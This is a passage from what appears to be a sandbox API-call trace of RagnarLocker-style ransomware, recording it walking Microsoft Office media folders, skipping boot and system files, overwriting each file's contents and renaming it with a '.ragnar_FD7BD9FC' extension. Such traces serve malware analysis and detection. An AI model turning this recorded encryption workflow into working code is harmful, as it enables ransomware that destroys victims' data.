Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.523] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0199283.WMF" | out: lpString1="J0199283.WMF") returned="J0199283.WMF" [0095.523] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF") returned=".WMF" [0095.523] lstrcmpiW (lpString1="J0199283.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.523] lstrcmpiW (lpString1="J0199283.WMF", lpString2="autorun.inf") returned 1 [0095.523] lstrcmpiW (lpString1="J0199283.WMF", lpString2="boot.ini") returned 1 [0095.523] lstrcmpiW (lpString1="J0199283.WMF", lpString2="bootfont.bin") returned 1 [0095.523] lstrcmpiW (lpString1="J0199283.WMF", lpString2="bootsect.bak") returned 1 [0095.523] lstrcmpiW (lpString1="J0199283.WMF", lpString2="bootmgr") returned 1 [0095.523] lstrcmpiW (lpString1="J0199283.WMF", lpString2="bootmgr.efi") returned 1 [0095.523] lstrcmpiW (lpString1="J0199283.WMF", lpString2="bootmgfw.efi") returned 1 [0095.523] lstrcmpiW (lpString1="J0199283.WMF", lpString2="desktop.ini") returned 1 [0095.523] lstrcmpiW (lpString1="J0199283.WMF", lpString2="iconcache.db") returned 1 [0095.523] lstrcmpiW (lpString1="J0199283.WMF", lpString2="ntldr") returned -1 [0095.523] lstrcmpiW (lpString1="J0199283.WMF", lpString2="ntuser.dat") returned -1 [0095.523] lstrcmpiW (lpString1="J0199283.WMF", lpString2="ntuser.dat.log") returned -1 [0095.523] lstrcmpiW (lpString1="J0199283.WMF", lpString2="ntuser.ini") returned -1 [0095.523] lstrcmpiW (lpString1="J0199283.WMF", lpString2="thumbs.db") returned -1 [0095.523] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.523] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.523] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.523] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.523] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.523] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.523] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf")) returned 0x20 [0095.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.524] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=36548) returned 1 [0095.524] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x8ebb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.524] GetProcessHeap () returned 0x580000 [0095.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.524] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.525] VirtualAlloc (lpAddress=0x0, dwSize=0x8ec4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.525] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.525] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.525] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8ec4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8ec4, lpOverlapped=0x0) returned 1 [0095.527] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.527] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8ec4, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.527] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8ec4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8ec4, lpOverlapped=0x0) returned 1 [0095.527] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8ec4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.527] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.527] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x8ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.527] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.528] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.528] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.528] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.528] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.528] GetProcessHeap () returned 0x580000 [0095.528] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.528] CloseHandle (hObject=0x104) returned 1 [0095.528] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" [0095.528] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF.ragnar_FD7BD9FC" [0095.528] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.529] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b53500, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54b53500, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xf5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199549.WMF", cAlternateFileName="")) returned 1 [0095.529] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.529] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0199549.WMF" | out: lpString1="J0199549.WMF") returned="J0199549.WMF" [0095.529] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF") returned=".WMF" [0095.529] lstrcmpiW (lpString1="J0199549.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.529] lstrcmpiW (lpString1="J0199549.WMF", lpString2="autorun.inf") returned 1 [0095.529] lstrcmpiW (lpString1="J0199549.WMF", lpString2="boot.ini") returned 1 [0095.529] lstrcmpiW (lpString1="J0199549.WMF", lpString2="bootfont.bin") returned 1 [0095.529] lstrcmpiW (lpString1="J0199549.WMF", lpString2="bootsect.bak") returned 1 [0095.529] lstrcmpiW (lpString1="J0199549.WMF", lpString2="bootmgr") returned 1 [0095.529] lstrcmpiW (lpString1="J0199549.WMF", lpString2="bootmgr.efi") returned 1 [0095.529] lstrcmpiW (lpString1="J0199549.WMF", lpString2="bootmgfw.efi") returned 1 [0095.529] lstrcmpiW (lpString1="J0199549.WMF", lpString2="desktop.ini") returned 1 [0095.529] lstrcmpiW (lpString1="J0199549.WMF", lpString2="iconcache.db") returned 1 [0095.529] lstrcmpiW (lpString1="J0199549.WMF", lpString2="ntldr") returned -1 [0095.529] lstrcmpiW (lpString1="J0199549.WMF", lpString2="ntuser.dat") returned -1 [0095.529] lstrcmpiW (lpString1="J0199549.WMF", lpString2="ntuser.dat.log") returned -1 [0095.529] lstrcmpiW (lpString1="J0199549.WMF", lpString2="ntuser.ini") returned -1 [0095.529] lstrcmpiW (lpString1="J0199549.WMF", lpString2="thumbs.db") returned -1 [0095.529] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.529] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.529] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.529] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.529] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.529] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.530] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf")) returned 0x20 [0095.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.530] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3934) returned 1 [0095.530] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xf55, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.530] GetProcessHeap () returned 0x580000 [0095.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.530] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.532] VirtualAlloc (lpAddress=0x0, dwSize=0xf5e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.532] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.532] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.532] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf5e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf5e, lpOverlapped=0x0) returned 1 [0095.532] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.532] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf5e, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.532] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf5e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf5e, lpOverlapped=0x0) returned 1 [0095.532] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf5e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.532] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.533] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xf5e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.533] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.533] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.533] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.533] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.533] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.533] GetProcessHeap () returned 0x580000 [0095.533] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.533] CloseHandle (hObject=0x104) returned 1 [0095.533] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" [0095.533] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF.ragnar_FD7BD9FC" [0095.533] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.534] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b8b4b00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8b8b4b00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199661.WMF", cAlternateFileName="")) returned 1 [0095.534] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.534] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0199661.WMF" | out: lpString1="J0199661.WMF") returned="J0199661.WMF" [0095.534] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF") returned=".WMF" [0095.534] lstrcmpiW (lpString1="J0199661.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.534] lstrcmpiW (lpString1="J0199661.WMF", lpString2="autorun.inf") returned 1 [0095.534] lstrcmpiW (lpString1="J0199661.WMF", lpString2="boot.ini") returned 1 [0095.534] lstrcmpiW (lpString1="J0199661.WMF", lpString2="bootfont.bin") returned 1 [0095.534] lstrcmpiW (lpString1="J0199661.WMF", lpString2="bootsect.bak") returned 1 [0095.534] lstrcmpiW (lpString1="J0199661.WMF", lpString2="bootmgr") returned 1 [0095.534] lstrcmpiW (lpString1="J0199661.WMF", lpString2="bootmgr.efi") returned 1 [0095.534] lstrcmpiW (lpString1="J0199661.WMF", lpString2="bootmgfw.efi") returned 1 [0095.534] lstrcmpiW (lpString1="J0199661.WMF", lpString2="desktop.ini") returned 1 [0095.534] lstrcmpiW (lpString1="J0199661.WMF", lpString2="iconcache.db") returned 1 [0095.534] lstrcmpiW (lpString1="J0199661.WMF", lpString2="ntldr") returned -1 [0095.534] lstrcmpiW (lpString1="J0199661.WMF", lpString2="ntuser.dat") returned -1 [0095.534] lstrcmpiW (lpString1="J0199661.WMF", lpString2="ntuser.dat.log") returned -1 [0095.534] lstrcmpiW (lpString1="J0199661.WMF", lpString2="ntuser.ini") returned -1 [0095.535] lstrcmpiW (lpString1="J0199661.WMF", lpString2="thumbs.db") returned -1 [0095.535] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.535] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.535] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.535] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.535] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.535] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.535] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf")) returned 0x20 [0095.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.536] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13342) returned 1 [0095.536] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x3415, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.536] GetProcessHeap () returned 0x580000 [0095.536] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.537] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.538] VirtualAlloc (lpAddress=0x0, dwSize=0x341e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.538] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.538] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.538] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x341e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x341e, lpOverlapped=0x0) returned 1 [0095.539] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.539] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x341e, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.539] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x341e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x341e, lpOverlapped=0x0) returned 1 [0095.539] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x341e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.539] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.540] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x341e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.540] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.540] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.540] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.540] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.540] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.540] GetProcessHeap () returned 0x580000 [0095.540] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.540] CloseHandle (hObject=0x104) returned 1 [0095.540] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" [0095.540] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF.ragnar_FD7BD9FC" [0095.540] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.541] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b0eb00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb1b0eb00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199727.WMF", cAlternateFileName="")) returned 1 [0095.541] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.541] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0199727.WMF" | out: lpString1="J0199727.WMF") returned="J0199727.WMF" [0095.541] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF") returned=".WMF" [0095.541] lstrcmpiW (lpString1="J0199727.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.541] lstrcmpiW (lpString1="J0199727.WMF", lpString2="autorun.inf") returned 1 [0095.541] lstrcmpiW (lpString1="J0199727.WMF", lpString2="boot.ini") returned 1 [0095.541] lstrcmpiW (lpString1="J0199727.WMF", lpString2="bootfont.bin") returned 1 [0095.541] lstrcmpiW (lpString1="J0199727.WMF", lpString2="bootsect.bak") returned 1 [0095.541] lstrcmpiW (lpString1="J0199727.WMF", lpString2="bootmgr") returned 1 [0095.541] lstrcmpiW (lpString1="J0199727.WMF", lpString2="bootmgr.efi") returned 1 [0095.541] lstrcmpiW (lpString1="J0199727.WMF", lpString2="bootmgfw.efi") returned 1 [0095.541] lstrcmpiW 